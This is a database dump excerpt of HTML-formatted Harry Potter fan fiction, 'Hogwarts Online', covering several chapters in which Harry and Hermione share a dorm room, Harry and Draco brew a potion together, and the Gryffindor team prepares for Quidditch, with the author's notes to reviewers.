don\'t\nmind.  Why would I?"</p>\n<p class="MsoNormal">Hermione bit her lip, "Well I was just\nthinking...that if you wanted to bring a girl back after a date and\neverything."</p>\n<p class="MsoNormal">Harry cleared his throat awkwardly and looked\naway from her gaze, "Hermione...don\'t think like that.  Firstly. \nIf I <i>did</i> want to bring a girl\nback I\'d ask you first anyway. \nSecondly, I really don\'t mind sharing a room with you.  Thirdly, I <i>really</i> don\'t mind."</p>\n<p class="MsoNormal">Hermione blushed a little, "If your\nsure."</p>\n<p class="MsoNormal">"I am. \nWould you have let me stay in your room if it was my room that was\ntaken?" he asked.</p>\n<p class="MsoNormal">"Of course I would."</p>\n<p class="MsoNormal">"And what if you wanted to bring a guy back\nthere after?"  </p>\n<p class="MsoNormal">Hermione blushed, "Well...I don\'t think we\nhave to worry about that because I haven\'t got my eye on anyone."</p>\n<p class="MsoNormal">"That doesn\'t mean no ones got their eye\non you."  Harry said.</p>\n<p class="MsoNormal">Hermione snorted, "Sure. Let\'s talk about\nsomething else." she said.</p>\n<p class="MsoNormal">Harry pulled her closer, "Alright.  So we\'re going to be using computers this\nyear hm?  Interesting."</p>\n<p class="MsoNormal">Hermione nodded, "It\'ll be so much easier\nto do projects over it!  Because we\'ll\nbe able to research it online and everything."</p>\n<p class="MsoNormal">Harry nodded, "Yeah.  Plus if MSN works we\'ll be able to talk in\nclass even if we\'re not in the same class."</p>\n<p class="MsoNormal">Hermione pursed her lips, "I don\'t know if\nthat\'s what they want us to use it for Harry." she said sternly.</p>\n<p class="MsoNormal">Harry smiled, "Well I didn\'t say that we\nwouldn\'t be working I just said we\'d be able to talk."</p>\n<p class="MsoNormal">Hermione shut her eyes, "Mmm.  So where do you think the teachers would be\ngoing if they leave?" she asked.</p>\n<p class="MsoNormal">Harry stiffened slightly, "To fight\nVoldemort of course.  Most of them are\npart of the order of phoenix and everything...so that\'d take up a lot of their\ntime.  And as important as our education\nis to us and everything the lives of everyone is a lot more important."</p>\n<p class="MsoNormal">Hermione nodded, "Yeah.  I know. \nMan I\'m tired are you?" she asked yawning.</p>\n<p class="MsoNormal">Harry smiled, "A little.  I can\'t say I\'m as tired as you are\nthough." </p>\n<p class="MsoNormal">Hermione smiled sleepily up at him,\n"Hm...do you mind if I sleep here? \nIt\'s just so comfy." \nHermione asked snuggling closer.</p>\n<p class="MsoNormal">Harry bit his lip but shook his head,\n"No.  I don\'t mind.  If you want you can sleep here and I\'ll\nsleep on your bed."</p>\n<p class="MsoNormal">Hermione wrapped her arms around him, "No\nstay here.  You\'re snuggly."</p>\n<p class="MsoNormal">Harry laughed, "Alright." he said,\n"Goodnight \'Mione."</p>\n<p class="MsoNormal">"Night Harry."</p>\n<p class="MsoNormal">Harry felt his eyelids droop slightly, he could\nhear her breath had become even; she was asleep.</p>\n<p class="MsoNormal">\'I hope no one comes in tomorrow and sees us\nlike this.  It could look really bad...\'\nHarry thought and within an instant he was asleep.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Ron jogged along the corridor towards Harry and\nHermiones room.  A small smile on his\nface as he drew closer.  He stopped\noutside the portrait of Harry’s parents.</p>\n<p class="MsoNormal">"Morning." he said cheerfully.</p>\n<p class="MsoNormal">They smiled at him, "Goodmorning\nRon."  Lily said cheerfully,\n"I\'m not sure if they\'re up yet."</p>\n<p class="MsoNormal">Ron laughed, "Well I\'ll get them up\nthen!  Snitch."</p>\n<p class="MsoNormal">James chuckled, "Don\'t scare them too\nmuch!" he said and the portrait swung open.</p>\n<p class="MsoNormal">Ron stepped through and looked over to\nHermiones nicely made bed, "Typical." he muttered to himself and\nlooked over at Harrys bed.  </p>\n<p class="MsoNormal">"NO WAY!" he practically yelled.  </p>\n<p class="MsoNormal">Hermione and Harry were wrapped in each other’s\narms, and looked very close.  A peaceful\nlook was on both of their faces.</p>\n<p class="MsoNormal">They both stirred slightly.  Hermione pulled back from Harry’s arms\nyawning and rubbing her eyes.</p>\n<p class="MsoNormal">She looked around wildly, "Where am I? Oh\nyeah...school." she yawned again stretching.</p>\n<p class="MsoNormal">"Morning Ron." she said lying back\ndown again beside Harry, who just closed his eyes again.</p>\n<p class="MsoNormal">Ron stood still, "You two <i>actually</i> slept together?!?" he\nsaid, his jaw slack.</p>\n<p class="MsoNormal">Harry opened one bleary eye, "We slept on\nthe same bed if that\'s what you are implying. \nWhich I doubt.  No we didn\'t\nsleep together Ron.  Honestly.  We were just talking last night and fell\nasleep."</p>\n<p class="MsoNormal">Ron raised an eyebrow, "Suuure you\ndid!  Harry and Hermione sitting in a\ntree K-I-S-S-I-N-G!  First comes\nlove!  Second comes marriage!  Third comes baby Harry in a-" he taunted\nbut was cut off by an acurately thrown pillow in his face.</p>\n<p class="MsoNormal">He grinned and threw the pillow back at Harry\nwho groaned and put it over his head.</p>\n<p class="MsoNormal">Hermione shook her head in exasperation,\n"Ron we didn\'t sleep together!  Get\na life!" she said pulling herself into an upright position and swinging\nher legs over the side of Harrys bed.</p>\n<p class="MsoNormal">She pulled herself up and stumbled over to her\ncloset.  She pulled it open and started\npulling out items of clothing to wear.</p>\n<p class="MsoNormal">"Should I wear my white top?" she\nasked turning around to show it to Harry and Ron who stared at her as if she\nwas growing horns.</p>\n<p class="MsoNormal">"Why are you asking us?"  Ron asked confused, "We don\'t\nknow."</p>\n<p class="MsoNormal">Hermione tutted loudly, "Harry white or\nblue?" she asked turning her attention to Harry holding up a white top and\na blue top.</p>\n<p class="MsoNormal">Harry looked at them, "Blue." he said\ncroakily.</p>\n<p class="MsoNormal">Ron stared at Harry, "Giving out fashion\ntips?" Ron teased.</p>\n<p class="MsoNormal">Harry glanced at him, before flopping down\nhalf-asleep again.  Hermione laughed at\nhim.</p>\n<p class="MsoNormal">"Come on rise and shine Harry." she\nsaid cheerfully.</p>\n<p class="MsoNormal">Harry groaned and rolled over, "No."\nhe said.</p>\n<p class="MsoNormal">Hermione walked over, grabbed the pillow that\nwas covering his head and yanked it away. \nShe threw it down on the floor and proceeded to roll Harry out of the\nbed, he landed with a thump on the floor. \nRon laughed loudly.</p>\n<p class="MsoNormal">Harry rubbed his eyes, "It\'s too early for\nthis." he said sulkily.</p>\n<p class="MsoNormal">Hermione giggled, "No it\'s not.  Now get up and get dressed." she said.</p>\n<p class="MsoNormal">"Going to get changed in front of\nus?"  Ron asked hopefully.</p>\n<p class="MsoNormal">Hermione glared at him, "Stupid hormonal\nidiots." she said exasperated and collected her clothes, "I\'m going\ninto the <i>bathroom</i>!  When I get back I want Harry up and ready to\ngo have a shower." she said to Ron.</p>\n<p class="MsoNormal">Harry was still sitting on ther floor grumbling\nto himself about how early it was when Hermione came back out.</p>\n<p class="MsoNormal">"Harry!! \nGet up!" she said pulling him to his feet.</p>\n<p class="MsoNormal">Harry sighed and stood up, "Alright I\'m\nup.  I\'m up." he said, "I\'m\ngoing to go have a shower." </p>\n<p class="MsoNormal">Hermione smiled approvingly, "Alright I\'ll\nmeet you out here when you\'re done." she said.</p>\n<p class="MsoNormal">Harry nodded, waved to Ron and stumbled into\nthe bathroom.</p>\n<p class="MsoNormal">"Ginny, Parvati and Lavender should be\ncoming any minute.  I\'ve got to go\noutside and wait for them.  Don\'t\ndestroy anything!" she said shaking a finger at him.</p>\n<p class="MsoNormal">Ron laughed, "Actually I said I\'d meet\nDean and Seamus in the common room. \nThey said they wanted to show me something.  Will you tell Harry I\'ll meet him at breakfast?"</p>\n<p class="MsoNormal">Hermione smiled and nodded, "Sure."</p>\n<p class="MsoNormal">She watched as Ron walked off down the corridor\nand then she waved as Ginny, Parvati and Lavender all came up.</p>\n<p class="MsoNormal">"We\'ve heard that you and Harry slept\ntogether!" Lavender whispered, "Is it true?"</p>\n<p class="MsoNormal">Hermione rolled her eyes, "No we\ndidn\'t.  We fell asleep on the same bed\nbut that\'s all."</p>\n<p class="MsoNormal">The three girls all exchanged glances,\n"And what happened?"  Parvati\nasked.</p>\n<p class="MsoNormal">Hermione shook her head, "Come on.  Come inside.  Harrys in the bathroom right now.  He\'ll be out in a while."</p>\n<p class="MsoNormal">The girls gasped at the same time as they saw\nthe size of the room, "It\'s huge!" \nGinny said.</p>\n<p class="MsoNormal">Hermione nodded, "Yeah it is pretty\nbig." she said, "That\'s my bed. \nAnd that\'s Harrys." she said pointing to them.</p>\n<p class="MsoNormal">"So tell us.  What happened last night?" \nLavender asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry shut his eyes as the warm water pounded\nover his body.  He reached and turned\noff the water.  Stepping out of the\nshower he grabbed a white towel that was hanging over a rail that had \'Harry\'\nwritten in gold on it.  He wrapped it\naround his waist and looked at it skeptically.</p>\n<p class="MsoNormal">"That is so hardly a towel." he\nsaid.  </p>\n<p class="MsoNormal">It was tiny. \nIt wrapped around his waist just and was two inches lower than what\nwould have been indecent.</p>\n<p class="MsoNormal">Harry scowled at it and looked around for his\nclothes, "Crap!  I left them\noutside."  he said to himself\nopening the door and walking out.</p>\n<p class="MsoNormal">"I forgot my clo-AH!" he yelled as he\nspotted not only Hermione but also Ginny, Lavender and Parvati. </p>\n<p class="MsoNormal">He turned on his heel and ran back into the\nbathroom as fast as he could.  He could\nhear peals of laughter following him. \nHe slammed the door shut and leaned against it breathing heavily.</p>\n<p class="MsoNormal">"Aw man..." he moaned, "I can\'t\nget my clothes without going out there again. \nWhich means I can\'t get dressed."</p>\n<p class="MsoNormal">"Hermione?" he called through the\ndoor.</p>\n<p class="MsoNormal">There was silence and then, "Yeah?"</p>\n<p class="MsoNormal">"Can you pass me my clothes?" he\nasked, popping his head around the door.</p>\n<p class="MsoNormal">The girls were all giggling and Hermione was\nblushing profusely, as was Harry.</p>\n<p class="MsoNormal">"Sure." she said and grabbed them off\nhis bed and passed them to him.</p>\n<p class="MsoNormal">"Thanks." he said taking them and\nflashing her a quick grin before closing the door and locking it.</p>\n<p class="MsoNormal">Listening he could hear more giggling and\nsomeone saying, "Did you see the size of his towel?"</p>\n<p class="MsoNormal">He could feel his cheeks getting redder, but\nlucky no one could see him.  He quickly\ngot dressed and grabbed his comb.  He\nstood in front of the extremely large mirror and started trying to get his hair\nto lay flat.  Or flatter anyway.  </p>\n<p class="MsoNormal">"I don\'t think that\'ll work dear."\nthe mirror said to him.</p>\n<p class="MsoNormal">Harry laughed, "No it never does but I can\nstill try."</p>\n<p class="MsoNormal">"Perhaps a spell?" it asked.</p>\n<p class="MsoNormal">Harry shrugged, "Can\'t really be bothered\nlooking for one."</p>\n<p class="MsoNormal">"I bet those girls out there would know a\ngood one." it said, its voice almost teasing.</p>\n<p class="MsoNormal">Harry turned red and didn\'t comment.  He quickly grabbed all his things together\nand threw his towel in the \'dirty\' basket and walked out into his room.  He smiled at the girls as if nothing had\nhappened.</p>\n<p class="MsoNormal">"Morning." he said cheerfully.</p>\n<p class="MsoNormal">"Good shower?"  Parvati asked.</p>\n<p class="MsoNormal">Harry blushed a little, but quickly shook it\noff, "Fine thanks.  All ready for\nbreakfast?" he asked. </p>\n<p class="MsoNormal">The girls nodded and exchanged smiles.  Harry raised an eyebrow, "Okay\nwhat.  Does my hair look stupid or\nsomething?  What\'s with the looks?"</p>\n<p class="MsoNormal">The girls giggled as he automatically tried to\nsmooth his hair down.</p>\n<p class="MsoNormal">"You look fine."  Hermione said shaking her head, "It\'s\njust a girl thing."</p>\n<p class="MsoNormal">"Then I don\'t want to know." he said\nfirmly and threw his clothes into his wardrobe and shut it.</p>\n<p class="MsoNormal">Hermione gave him a disapproving look.  He sighed opened his wardrobe and started\nfolding the things he\'d thrown in on the floor and put them away,\n"Happy?" he asked.</p>\n<p class="MsoNormal">Ginny giggled, "Well trained." she\nsaid.</p>\n<p class="MsoNormal">Harry made a face, "Care to let me escort\nyou four lovely ladies to breakfast?" he aske bowing.</p>\n<p class="MsoNormal">They all giggled and together the four of them\nmade their way down to breakfast.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry sat down next to Ron, "Morning."\nhe said helping himself to some food.</p>\n<p class="MsoNormal">"Morning."  Ron said, shoveling food into his mouth.</p>\n<p class="MsoNormal">Hermione shook her head in exasperation and\nhelped herself to a piece of toast, "You two act as if you haven\'t eaten\nin weeks." she said watching them eat like there was no tomorrow.</p>\n<p class="MsoNormal">Harry sent her a sheepish grin, "Can\'t\nhelp it.  I\'m hungry.  So are they handing round the new timetables\nthen?" he asked.</p>\n<p class="MsoNormal">Hermione laughed, "Yeah.  The prefects have to do that.  We don\'t luckily.  I hated doing that last year."</p>\n<p class="MsoNormal">Harry grinned at her and helped himself to more\nfood.</p>\n<p class="MsoNormal">"Here Harry." Ginny said passing him\nhis timetable, "And Ron and Hermione." she said passing them out.</p>\n<p class="MsoNormal">Harry grinned and looked down at his timetable,\n"I\'ve got transfiguration first. \nWhat about you two?" he asked.</p>\n<p class="MsoNormal">Hermione looked down, "Aw I\'ve got\nDADA."</p>\n<p class="MsoNormal">Ron nodded, "Same."</p>\n<p class="MsoNormal">Harry sighed, "Damn. All right then.  What have you got after that?" he\nasked.</p>\n<p class="MsoNormal">Hermione looked down,\n"Um..Arithmacy."</p>\n<p class="MsoNormal">Ron looked at his, "I\'ve got\ndivination."</p>\n<p class="MsoNormal">Harry groaned, "I have potions."</p>\n<p class="MsoNormal">Ron made a face, "Poor you.  Hopefully Snape isn\'t too bad this\nyear." </p>\n<p class="MsoNormal">"Yeah."  Harry said, extremely disappointed, "Have we got ANY classes\ntogether today?" he asked.</p>\n<p class="MsoNormal">After a quick check of their schedules they\nfound they didn\'t have any classes together that day but they did have Care of\nMagical Creatures classes toge'),
	(205, 2, '\n\n\n\n<p class="MsoNormal">WAH!! Okay for some reason Chapter 2 won&#8217;t\nupload so that&#8217;s the reason of the !!!!!!!! thing. B/c that&#8217;s all that comes up&#8230;so\ndon&#8217;t rate lowly b/c of it ppl! I&#8217;m trying to figure out whats wrong!!! Plz be\npatient!</p>\n\n\n\n\n\n\n'),
	(205, 3, '<p class="MsoNormal">Hogwarts Online - Chapter 2\n</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Disclaimer: I don\'t own\nem...yadda yadda yadda..they\'re not mine...uh huh you get it. I don\'t own these\nppl...wish I did but I don\'t....YES I DO I OWN EM ALL!!\nAHAHAH..nevermind^_^\'&gt;</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Author Notes: Alright! Let me explain the chapter 2\nproblem…it wasn’t my fault. So thank you to all u people who rated it 1/10.\nthat brought my whole rating down. I TRIED to get this up but it wouldn’t let\nme so I appolgise.  To all the people\nwho left me a nice (even if it was sometimes confused) review - You guys are so\nthe best!  I\'ve decided that I\'m going\nto try and get one chapter of this out a week. \nI have to be realistic.  I\'d LIKE\nto get a chapter out every 3 days but I can\'t see that\'s going to happen because\nof school and homework and everything. \nSo what I\'m going to try and do is get a chapter out every week!  I may set a day to try and get it out by or\nI may not...it all depends on the amount of school work I get.  I\'ve been SO loaded down!! I\'d like to take\nthis little amount of time to thank everyone who reviewed!!! </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermioneandharry4ever -\nThanks so much for your review! In answer to your questions- what I meant when\nI said it was for Hogwarts students only is that in the description (you know\nin msn chat rooms?) thing said hogwarts students only.  Muggles COULD have come into the room but\nusually people are pretty good when it comes to that sort of thing.  Okay and with the magic laptop\nquestion.  I\'m not going to get\ntechnical because I\'ll probably confuse you and myself!  What I mean by that is, electricity and\nmuggle devices dont work around Hogwarts right? so therefore there would HAVE\nto be some sort of wizarding computer to have them work at Hogwarts (I figure\nanway!) and in the sense that they are magical I mean that like you don\'t need\nelectricity to run them!  I hope that\nhelped you out a lot.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">The Sweetest Things - Now\nI\'d answer your questions but that\'d be giving away some of the storyline I\nhave planned and I\'m not doing that!! You\'ll just have to wait and see what\nhappens like everyone else!!</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Mione_Potter - Thank for\nthe suggestion.  I do have a plan of my\nown but I appreciate your feedback!</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Nikki Cameron - Lol. Well\nThanks for the review!  I appreciate it!\nWill I make Draco and Harry friends??? Wait and see! Lol. I\'m not giving\nanything away!</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Michelle - *laughs* it does\nseem like a disaster doesn\'t it?</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Arnina - Thanks for the\nidea. I do have a storyline already planned out a bit but it\'s great to see\nthat lots of you guys (who happen to be the best!!!) have ideas and you never\nknow *winks* some of the ideas might actually happen. But I\'m not saying!!</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">May - Wow. Nice review!!\nVERY VERY NICE! lol^_^ About your idea. I may use it, if that\'s alright with\nyou, with a few detail changes.  Is Ron\njealous of Harry and Hermione sharing a room? Well I guess in a way he is, but\nin a way he isn\'t. You know? I mean...they do get to spend more time together\nas the live in the same room than they do with Ron.  I hope that helps!</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">To everyone else who\nreviewed you\'re all just as important as the people I mentioned above but if I\nkept going on answering everyones reviews I\'d go on and on forever!!! So once\nagain, thanks ever so much!  This\nchapter is especiallly for you guys!</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry sat down at the bench\nbeside Draco.  The dungeon was\ncompletely empty except for the two.</p>\n<p class="MsoNormal">"I wonder where the\nrest of the class is."  Harry said\nlooking around.</p>\n<p class="MsoNormal">Draco shrugged, "Maybe\nwe are the class.  It\'s pretty exclusive\nyou know."</p>\n<p class="MsoNormal">"Well yeah...but I\ndidn\'t think it was that exclusive." Harry said a little confused, "I\nmean I got into it and so did you."</p>\n<p class="MsoNormal">"Thanks." Draco\ndrawled sarcastically, "You make me out to sound so intelligent."</p>\n<p class="MsoNormal">Harry chuckled,\n"Sorry. You know what I mean..."</p>\n<p class="MsoNormal">"Yeah.  Yeah I know what you mean."  Draco said, resting his chin on his hand,\n"I wonder when Snape will be here."</p>\n<p class="MsoNormal">"I am here."\nSnape said, coming through the door with a swish of his robes, "And that\'s\nProfesser Snape."</p>\n<p class="MsoNormal">"Sorry\nProfesser." Draco said quietly.</p>\n<p class="MsoNormal">Harry raised an eyebrow,\nDraco never appologised.  Well he did\nlately, but before his father had disinherrited him he was quite the stuck up\nlittle asshole.</p>\n<p class="MsoNormal">{AN: Excuse my french ^_^}</p>\n<p class="MsoNormal">"Well. I don\'t have to\ncheck off the roll do I so let\'s get down to buisness." Snape said glaring\nat both of them, "In this class you will both work harder than you\'ve ever\nworked.  You will assist me in different\nprojects and you will be graded accordingly. \nDon\'t expect this to be an easy class! \nYou\'re both lucky you made it into this class." he growled.</p>\n<p class="MsoNormal">Harry and Draco stared\nblankly at him.</p>\n<p class="MsoNormal">\'He has problems.\' Harry\nthought and refrained from rolling his eyes.</p>\n<p class="MsoNormal">"Alright.  Today I want you to make the potion on page\n181 of your text books.  It\'s critcal\nthat you get it right understood?  Take\nyour time in doing it.  I actually need\nto use this potion.  I have other work\nto do other than taking care of the two of you so you don\'t destroy something,\ndon\'t mess up!" he said, his last comment snarled.</p>\n<p class="MsoNormal">Harry and Draco flicked to\npage 181 of their text books and silently started collecting the items needed.</p>\n<p class="MsoNormal">"What is the point of\nmaking a potion like this, Malfoy?" Snape asked them.</p>\n<p class="MsoNormal">Draco paused, "The\npoint of making a potion like this sir? The potion is currently being used to\nsee if it, along with a few other experimentals can block the Avada Kedrava\ncurse when accompanied by different blocking spells." he said slowly\nbefore picking up his knife and beginning to slice some caterpillars.</p>\n<p class="MsoNormal">"How did you know what\nit\'s being used for?" Snape asked, his voice confused.</p>\n<p class="MsoNormal">"With all do respect\nsir, it\'s common knowledge." Draco said, cutting up twice as many\ncaterpillars as needed and shoving them along the table to Harry who in return\npassed Draco some of the cut up bat wings he\'d been cutting.</p>\n<p class="MsoNormal">"Thanks." Draco\nmuttered and threw the pieces in his cauldron.</p>\n<p class="MsoNormal">"Sharing the duties\nare you?" Snape asked.</p>\n<p class="MsoNormal">"Yes sir.  It\'ll be faster this way." Harry said.</p>\n<p class="MsoNormal">"Hmph." Snape\nsaid settling back in his chair, "I\'m going to grade these papers.  You may talk quietly if necessary."</p>\n<p class="MsoNormal">Harry looked over at Draco\nwho was stirring his cauldron looking a little drained.</p>\n<p class="MsoNormal">"You okay?" Harry\nasked. \'Why do I care all of a sudden? This is Malfoy I\'m talking about.  He\'s the biggest asshole in the school!  Or...at least he was. He\'s changed\nnow...maybe...maybe we can come to a truce.\' Harry thought to himself as he\nwaited for Draco to reply.</p>\n<p class="MsoNormal">"Fine.  Why wouldn\'t I be?" he asked quietly\npausing to look at Harry, "And why would you care anyway?"</p>\n<p class="MsoNormal">Harry shrugged, "I\ndon\'t know why you wouldn\'t be you just seemed...I dunno distracted. You\'re the\nonly other one in this class. I was just trying to make conversation." he\nsaid.</p>\n<p class="MsoNormal">Draco shrugged too,\n"Well I\'m fine.  Would you get some\nBoomslang?"</p>\n<p class="MsoNormal">"Yep." Harry\nsaid, setting down his knife and going to retrieve it from the cupboard,\n"Powedered or sliced?" he asked.</p>\n<p class="MsoNormal">"Sliced." Draco\ncalled back.</p>\n<p class="MsoNormal">Harry collected some of the\nshredded boomslang and walked back over, throwing a couple of pieces in his cauldron\nand a couple of pieces in Dracos.  As if\nthey were reading each others minds they swopped places and Harry continued\ncutting up the leeks Draco had been cutting and Draco started stirring Harrys\npotion.</p>\n<p class="MsoNormal">"It\'s too blue."\nDraco said peering into the cauldron.</p>\n<p class="MsoNormal">"Here. And the rats\nspleen.  That should tone the colour\ndown." Harry said passing a rat spleen over.</p>\n<p class="MsoNormal">"You two seem to be\nworking well." Snape said looking up, "But you do realise that if one\nbatch is wrong the other will be as well."</p>\n<p class="MsoNormal">Harry and Draco ignored him\nand continued working.</p>\n<p class="MsoNormal">"Snape!" A voice\nsaid from a corner of the classroom. </p>\n<p class="MsoNormal">Snapes head shot up to the\nfire that was burning in the corner, "What do you want?" he spat when\nhe saw it was Professer Moodys head in it.</p>\n<p class="MsoNormal">"Meeting. Now. You\nknow where." he said and then with a pop his head disappeared.</p>\n<p class="MsoNormal">Snape sighed heavily,\n"Right you two. I\'ve got to go now. \nSomething important has come up. I\'m going to leave you two here to work\non this potion.  If I\'m not back by the\ntime the class is over clean up whatever mess you make and store the potion in\nthe bottles on my desk.  No homework\ntonight."he said rubbing his forehead with his hand.</p>\n<p class="MsoNormal">"Good luck sir."\nHarry said, not looking up.  </p>\n<p class="MsoNormal">Draco nodded as if to add\nhis support.</p>\n<p class="MsoNormal">Snape harrumphed loudly and\nwalked out of the dungeons, the door slamming behind him.</p>\n<p class="MsoNormal">"So now that Snape is\ngone...what do you want to talk about?" Harry asked stretching his arms\nout in front of him before taking up the knife again.</p>\n<p class="MsoNormal">"I dunno." Draco\nsaid, shrugging, "You done with the ears?" </p>\n<p class="MsoNormal">Harry shuddered, "I\nhate cutting them up."</p>\n<p class="MsoNormal">Draco laughed.  Harry couldn\'t help but smile, his laugh\nseemed so normal now.  There was no air\nof being above everyone else anymore.  Draco\nwas on his own and he seemed proud to be who he was still but no longer stuck\nup.</p>\n<p class="MsoNormal">"Well can\'t say I\nblame you." he admitted, "I hate cutting them up too."</p>\n<p class="MsoNormal">Harry knocked him with his\nshoulder, "But you made me cut them up!"</p>\n<p class="MsoNormal">Draco was knocked a bit to\nthe side, he looked at Harry suprised. \nIt was true they were getting along better then they had been before but\nHarrys act was one that was friendly and casual.  Something he didn\'t expect. \nHe shook his head and smirked again, "Can\'t let you think your\nbetter than me." he said, "Had to bring you off your horse."</p>\n<p class="MsoNormal">'),
	(205, 4, '\n\n\n\n<p class="MsoNormal">A/N: Yay you guys who reviewed are all fantastic!&nbsp; I love u all!!! </p>\n\n<p class="MsoNormal">Alright I TRIED to get some time to type this before but my teachers\nhave gone into \'we\'ve just started the term so work work work!\' mode...so my\nhomework amount has been lethal!&nbsp; But Im\ntrying really hard to get this out quickly.</p>\n\n<p class="MsoNormal">PLZ R&amp;R </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter 3</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked out the window at the rain that was pouring down\noutside.&nbsp; He watched the little drops of\nwater on the over hanging ledge drop down one by one closely.&nbsp; Each letting out a little dink noise as they\ncrashed upon the bricks.</p>\n\n<p class="MsoNormal">&quot;What are you doing?&quot;&nbsp;\nHermione asked, coming up behind him noiselessly.</p>\n\n<p class="MsoNormal">Harry jumped a foot in the air, &quot;Dear GOD!&nbsp; Hermione don\'t do that!&quot;&nbsp; Harry said putting a hand over his heart,\n&quot;I could\'ve blasted you to pieces!&quot; he said, his fingers relaxing\nfrom the tight grip he had on his wand.</p>\n\n<p class="MsoNormal">Hermione made a face, &quot;Sure you could\'ve.&quot; she said, walking\nup and sitting down beside him on the window seat.</p>\n\n<p class="MsoNormal">Harry grinned at her and turned back to the rain, &quot;Don\'t you just\nlove the rain?&quot; he asked.</p>\n\n<p class="MsoNormal">Hermione raised an eyebrow, &quot;Sure I do.&nbsp; But I mean it\'s not very practical...you\'ve got a Qudditch match\nin ten minutes...I doubt the rain will help.&quot;&nbsp; </p>\n\n<p class="MsoNormal">Harry sighed, &quot;I know...and it\'s against Ravenclaw too...that chick\nwhat\'s her name?&quot; Harry asked thinking.</p>\n\n<p class="MsoNormal">&quot;Chick?&quot; Hermione growled.</p>\n\n<p class="MsoNormal">&quot;Um..yeah you know the\none...Emma..something...Jefferson?&quot;&nbsp;\nHarry said, not noticing her tone.</p>\n\n<p class="MsoNormal">&quot;Harry Potter!&quot; she exclaimed.</p>\n\n<p class="MsoNormal">&quot;What?&quot;&nbsp; Harry asked\nconfused.</p>\n\n<p class="MsoNormal">&quot;You..oh forget it.&quot; Hermione said shaking her head,\n&quot;You\'re too Harry to get mad at you.&quot;</p>\n\n<p class="MsoNormal">Harry gave her a lobsided smile.&nbsp;\nHermione laughed at his expression.</p>\n\n<p class="MsoNormal">&quot;Come on.&nbsp; You need to get\ndown to the locker rooms.&quot; Hermione said holding her hand out to him.</p>\n\n<p class="MsoNormal">Harry uncurled his legs from under himself and took her hand, pulling\nhimself up.</p>\n\n<p class="MsoNormal">He gave her a warm smile and, putting one arm around her shoulders,\nsaid, &quot;Come on then.&nbsp; You can\nescourt me.&quot;</p>\n\n<p class="MsoNormal">&quot;Escourt you?&quot; Hermione asked, fake shocked, &quot;Well I\nnever believed I\'D ever escourt THE Harry Potter!&nbsp; And to a Qudditch match no less!&quot;</p>\n\n<p class="MsoNormal">They laughed as they made their way down the nearly empty corridor\ntowards the locker room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So Harry.&nbsp;&nbsp; You think we\ncan win?&quot;&nbsp; Ron asked as he changed\ninto his Gryffindor robes.</p>\n\n<p class="MsoNormal">Harry grinned, &quot;For sure.&quot;</p>\n\n<p class="MsoNormal">Ron had tried out for keeper the year before and had easily gotten the\nplace being much better than the opposition, much to Harry\'s happiness.</p>\n\n<p class="MsoNormal">Harry looked around the locker room at the other boys, all of whom were\nfinishing doing up their shoes and getting the broomsticks ready.</p>\n\n<p class="MsoNormal">&quot;Alright everyone outside for a pep talk.&quot; he said, pointing\nto the door and walking out it. </p>\n\n<p class="MsoNormal">Ginny was already there as was Aleisha Timberscale, the other girl on\nthe team. Both of whom were chasers.</p>\n\n<p class="MsoNormal">&quot;And they say girls take ages to get ready!&quot;&nbsp; Ginny teased.</p>\n\n<p class="MsoNormal">Harry laughed and flashed her a grin, as if on cue the other boys walked\nthrough the doors talking and laughing.</p>\n\n<p class="MsoNormal">&quot;Okay team!&nbsp; We\'re up\nagainst Ravenclaw, and you know they\'ve gotten quite good over the past\nyear.&nbsp; But we can do this!&nbsp; I have no doubt about it!&nbsp; We\'ve got three great chasers, two superb\nbeaters and an excellent keeper!&nbsp; The\nrain might be a bit of a problem for the Ravenclaws but we\'ve trained in worse!&nbsp; I have absolute faith in you guys!&nbsp; Let\'s get out there and WIN!&quot; Harry\nsaid, his voice full of enthusiasm.</p>\n\n<p class="MsoNormal">Everyone cheered loudly and clapped each other on the back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A loud roar came from the stands, &quot;That\'s our cue!&quot;&nbsp; Harry said stepping to the side and letting\nGinny fly out in front.</p>\n\n<p class="MsoNormal">&quot;Weasley! Timberscale! Finnigan! Bater! Thompson! Weasley! Aaaaaand\nPotter!&quot;&nbsp; Dean yelled over the\nmagical microphone, since Lee Jordan had left he\'d taken over.</p>\n\n<p class="MsoNormal">An even louder roar came from the Gryffindor stands and boo\'s from the\nRavenclaw.</p>\n\n<p class="MsoNormal">Madame Hooch blew on her whistle and everyone came down into their\nplaces from doing 